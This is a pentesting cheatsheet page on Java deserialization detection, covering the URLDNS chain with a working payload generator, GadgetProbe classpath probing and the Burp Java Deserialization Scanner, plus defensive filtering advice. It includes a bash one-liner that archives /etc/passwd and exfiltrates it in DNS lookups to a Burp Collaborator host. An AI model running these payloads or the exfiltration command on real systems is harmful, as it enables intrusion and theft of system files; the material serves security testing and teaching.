daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

java-dns-deserialization-and-gadgetprobe.md (15078B)


      1 ---
      2 title: "Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
     14 
     15 ## DNS request on deserialization
     16 
     17 The `java.net.URL` class implements `Serializable`, so instances can be included in a Java serialization stream.
     18 
     19 ```java
     20 public final class URL implements java.io.Serializable {
     21 ```
     22 
     23 `URL` has a useful side effect for detection: host comparison may require name resolution, and both `equals()` and `hashCode()` are documented as potentially blocking operations. A lookup is not guaranteed on every invocation because the URL object and the resolver can cache results, but a deliberately prepared object can make deserialization perform a DNS lookup.<sup>[[1]](#references)[[5]](#references)</sup>
     24 
     25 One way to reach `URL.hashCode()` is to use the URL as a `HashMap` key. While reconstructing a serialized map, `HashMap.readObject()` hashes each key:
     26 
     27 ```java
     28 private void readObject(java.io.ObjectInputStream s)
     29         throws IOException, ClassNotFoundException {
     30         [   ...   ]
     31     for (int i = 0; i < mappings; i++) {
     32         [   ...   ]
     33         putVal(hash(key), key, value, false, false);
     34     }
     35 ```
     36 
     37 The relevant call is `hash(key)`, whose implementation invokes the key's `hashCode()` method:
     38 
     39 ```java
     40 static final int hash(Object key) {
     41     int h;
     42     return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
     43 }
     44 ```
     45 
     46 Consequently, deserializing a `HashMap` containing a URL key can execute `URL.hashCode()`.
     47 
     48 The relevant part of `URL.hashCode()` is:
     49 
     50 ```java
     51  public synchronized int hashCode() {
     52         if (hashCode != -1)
     53             return hashCode;
     54 
     55         hashCode = handler.hashCode(this);
     56         return hashCode;
     57 ```
     58 
     59 When the cached value is `-1`, the method delegates to the URL stream handler. The handler's calculation includes the host address:
     60 
     61 ```java
     62  protected int hashCode(URL u) {
     63         int h = 0;
     64 
     65         // Generate the protocol part.
     66         String protocol = u.getProtocol();
     67         if (protocol != null)
     68             h += protocol.hashCode();
     69 
     70         // Generate the host part.
     71         InetAddress addr = getHostAddress(u);
     72         [   ...   ]
     73 ```
     74 
     75 Resolving that address can emit the DNS query used as the out-of-band signal.
     76 
     77 This dependency-free chain is commonly called **URLDNS**. A callback demonstrates that the target processed the serialization stream far enough to hash the key; it does **not** by itself provide command execution. If a separate gadget has already achieved command execution, its output can be encoded into DNS labels for exfiltration.<sup>[[1]](#references)[[7]](#references)</sup>
     78 
     79 ### URLDNS payload code example
     80 
     81 The canonical [ysoserial URLDNS implementation](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java) uses a temporary silent handler to avoid resolving the name while constructing the payload. Because `URL.handler` is transient, the receiving JVM reconstructs the normal handler; resetting the cached hash to `-1` makes the receiver calculate it again. The following standalone PoC preserves that behavior:<sup>[[7]](#references)</sup>
     82 
     83 ```java
     84 import java.io.File;
     85 import java.io.FileInputStream;
     86 import java.io.FileOutputStream;
     87 import java.io.IOException;
     88 import java.io.ObjectInputStream;
     89 import java.io.ObjectOutputStream;
     90 import java.lang.reflect.Field;
     91 import java.net.InetAddress;
     92 import java.net.URLConnection;
     93 import java.net.URLStreamHandler;
     94 import java.util.HashMap;
     95 import java.net.URL;
     96 
     97 public class URLDNS {
     98 	public static void GeneratePayload(Object instance, String file)
     99             throws Exception {
    100         //Serialize the constructed payload and write it to the file
    101         File f = new File(file);
    102         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
    103         out.writeObject(instance);
    104         out.flush();
    105         out.close();
    106     }
    107 	public static void payloadTest(String file) throws Exception {
    108         //Read the written payload and deserialize it
    109         ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
    110         Object obj = in.readObject();
    111         System.out.println(obj);
    112         in.close();
    113     }
    114 
    115 	public static void main(final String[] args) throws Exception {
    116 		String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
    117 		HashMap<URL, String> ht = new HashMap<>(); // HashMap that will contain the URL
    118 		URLStreamHandler handler = new SilentURLStreamHandler();
    119     URL u = new URL(null, url, handler); // URL to use as the Key
    120     ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    121 
    122     // During the put above, the URL's hashCode is calculated and cached.
    123     // This resets that so the next time hashCode is called a DNS lookup will be triggered.
    124     final Field field = u.getClass().getDeclaredField("hashCode");
    125     field.setAccessible(true);
    126 		field.set(u, -1);
    127 
    128 		//Test the payloads
    129 		GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
    130 	}
    131 }
    132 
    133 
    134 class SilentURLStreamHandler extends URLStreamHandler {
    135 
    136     protected URLConnection openConnection(URL u) throws IOException {
    137         return null;
    138     }
    139 
    140     protected synchronized InetAddress getHostAddress(URL u) {
    141         return null;
    142     }
    143 }
    144 ```
    145 
    146 On Java 9 and later, reflective access to the private `java.net.URL.hashCode` field may require launching the generator with `--add-opens java.base/java.net=ALL-UNNAMED`. The serialized payload itself remains dependency-free. Earlier detection approaches modified a Commons Collections chain to perform a DNS query; URLDNS avoids that external library dependency.<sup>[[2]](#references)[[7]](#references)</sup>
    147 
    148 ## GadgetProbe
    149 
    150 You can download [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) from the Burp Suite App Store (Extender).
    151 
    152 **GadgetProbe** tests whether candidate Java classes appear to be present on the target's classpath. Class presence helps select chains for further validation, but does not by itself prove that a particular gadget chain is exploitable.<sup>[[3]](#references)</sup>
    153 
    154 ### How does it work
    155 
    156 **GadgetProbe** combines the DNS signal from the previous section with a probe for an arbitrary class. A callback is evidence that the target resolved the tested class before reaching the URLDNS key. No callback is ambiguous: the class may be absent, but DNS egress controls, caching, serialization filters, incompatible class metadata, or application behavior can also suppress the signal. Confirm findings with more than one controlled probe.
    157 
    158 Internally, the tool uses Javassist to create an empty local class with the requested fully qualified name and serializes its `Class` object before a URL key in a `LinkedHashMap`. The insertion order is the oracle: if the receiver cannot resolve the candidate descriptor, deserialization stops before the URL is read; if resolution succeeds, map reconstruction reaches `URL.hashCode()` and the class name appears in the callback hostname. Therefore, this tests **class resolution/loadability**, not whether that class is itself `Serializable` or whether it forms a complete exploitable chain.<sup>[[3]](#references)</sup>
    159 
    160 The repository includes [wordlists](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) of Java classes to test.
    161 
    162 ![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/intruder4%20%281%29%20%281%29.gif)
    163 
    164 ### Reliable Burp workflow
    165 
    166 Use a differential sequence rather than interpreting a single missing interaction. In Intruder, select the complete serialized value, supply class names as the payload list, and add the `ClassName to GadgetProbe` payload processor **before** transport processors such as Base64 and URL encoding. GadgetProbe polls its own Collaborator context and records positive class names in its tab.<sup>[[3]](#references)[[9]](#references)</sup>
    167 
    168 1. Send an ordinary URLDNS payload with a unique hostname to validate the insertion point, decoding layers, Java deserialization path and DNS egress.
    169 2. Probe a stable JRE class such as `java.lang.String` as a known-positive GadgetProbe control.
    170 3. Probe a randomized nonexistent package/class as a known-negative control.
    171 4. Only enumerate third-party candidates when the positive controls call back and the negative control does not. Use fresh callback names when repeating tests to reduce resolver-cache ambiguity.
    172 5. Use **Copy Detect Library Wordlist** and **Detect Library Versions** to combine positive and negative marker classes into the version ranges supported by the extension.<sup>[[9]](#references)</sup>
    173 
    174 For a non-HTTP transport, use GadgetProbe as a Java library and serialize the returned object with the protocol-specific framing or encoding:<sup>[[3]](#references)</sup>
    175 
    176 ```java
    177 GadgetProbe gp = new GadgetProbe("oast.example");
    178 Object probe = gp.getObject(
    179     "org.apache.commons.collections.functors.InvokerTransformer");
    180 
    181 try (ObjectOutputStream out = new ObjectOutputStream(
    182         new FileOutputStream("probe.bin"))) {
    183     out.writeObject(probe);
    184 }
    185 ```
    186 
    187 ### From class hits to candidate chains
    188 
    189 Treat the output as a classpath fingerprint. Confirm several marker classes, account for shaded/relocated or minimized JARs and application-specific class loaders, and then reproduce candidate chains against the inferred **JDK plus complete dependency-version combination**. A 2024 study experimentally evaluated 46 known chains over 244 JDK builds and 5,455 dependency versions and found that known chains still apply to recent releases; this also demonstrates why one class hit or one apparent library version is not proof that an RCE chain is viable.<sup>[[10]](#references)</sup>
    190 
    191 When the application artifacts are available, [Gadgecy](https://github.com/software-engineering-and-security/Gadgecy) complements black-box probing: it can compare JAR hashes in a directory or dependencies in `pom.xml` with experimentally validated, chain-enabling version combinations.<sup>[[10]](#references)</sup>
    192 
    193 ## Java Deserialization Scanner
    194 
    195 This scanner can be downloaded from the Burp App Store (**Extender**). The extension has both passive and active capabilities.<sup>[[4]](#references)</sup>
    196 
    197 ### Passive
    198 
    199 By default, it passively checks requests and responses for Java serialization magic bytes and reports the observation. Finding the marker identifies a serialization data path; exploitability still requires validation:
    200 
    201 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28765%29.png)<sup>[[4]](#references)</sup>
    202 
    203 ### Active
    204 
    205 **Manual Testing**
    206 
    207 You can select a request, right click and `Send request to DS - Manual Testing`.\
    208 Then, inside the _Deserialization Scanner Tab_ --> _Manual testing tab_ you can select the **insertion point**. And **launch the testing** (Select the appropriate attack depending on the encoding used).
    209 
    210 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/3-1.png)<sup>[[4]](#references)</sup>
    211 
    212 Although the feature is called "Manual testing", it automates multiple active checks using ysoserial payloads and highlights observed timing or DNS signals. Available checks include Java sleep calls, CPU-consumption delays, and DNS callbacks. These probes deserialize attacker-controlled object graphs and may trigger gadget side effects, so use them only against systems you are authorized to test.
    213 
    214 **Exploiting**
    215 
    216 Once you have identified a vulnerable library you can send the request to the _Exploiting Tab_.\
    217 In this tab, select the injection point again, specify the candidate gadget chain and command, and press the appropriate **Attack** button.
    218 
    219 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/4.png)<sup>[[4]](#references)</sup>
    220 
    221 ### Java deserialization DNS exfiltration
    222 
    223 After a separate gadget chain has achieved command execution, a payload can exfiltrate data through DNS labels. The following example archives `/etc/passwd`, hex-encodes the stream into 31-byte chunks, and resolves each numbered chunk:
    224 
    225 ```bash
    226 (i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
    227 ```
    228 
    229 ## Defensive guidance
    230 
    231 Do not deserialize untrusted native Java serialization streams. Where legacy compatibility makes that impossible, apply a narrow `ObjectInputFilter` allowlist and graph-size limits, and remember that class filters reduce exposure rather than making unsafe object graphs intrinsically safe. JEP 290 introduced JVM-wide and per-stream filtering in Java 9, while JEP 415 added context-specific filter factories in Java 17.<sup>[[6]](#references)[[8]](#references)</sup>
    232 
    233 
    234 ## References
    235 
    236 - [1] [Triggering a DNS lookup using Java deserialization](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
    237 - [2] [Detecting deserialization bugs with DNS exfiltration](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
    238 - [3] [Bishop Fox GadgetProbe source and usage documentation](https://github.com/BishopFox/GadgetProbe)
    239 - [4] [Reliable discovery and exploitation of Java deserialization vulnerabilities](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
    240 - [5] [Java Platform API — `java.net.URL`](https://docs.oracle.com/en/java/javase/21/docs/api/java.base/java/net/URL.html)
    241 - [6] [JEP 290: Filter Incoming Serialization Data](https://openjdk.org/jeps/290)
    242 - [7] [ysoserial URLDNS payload source](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)
    243 - [8] [JEP 415: Context-Specific Deserialization Filters](https://openjdk.org/jeps/415)
    244 - [9] [GadgetProbe — PortSwigger BApp Store](https://portswigger.net/bappstore/e20cad259d73403bba5ac4e393a8583f)
    245 - [10] [Analyzing Prerequisites of Known Deserialization Vulnerabilities on Java Applications](https://www.abartel.net/static/p/ease2024-javaDeser.pdf)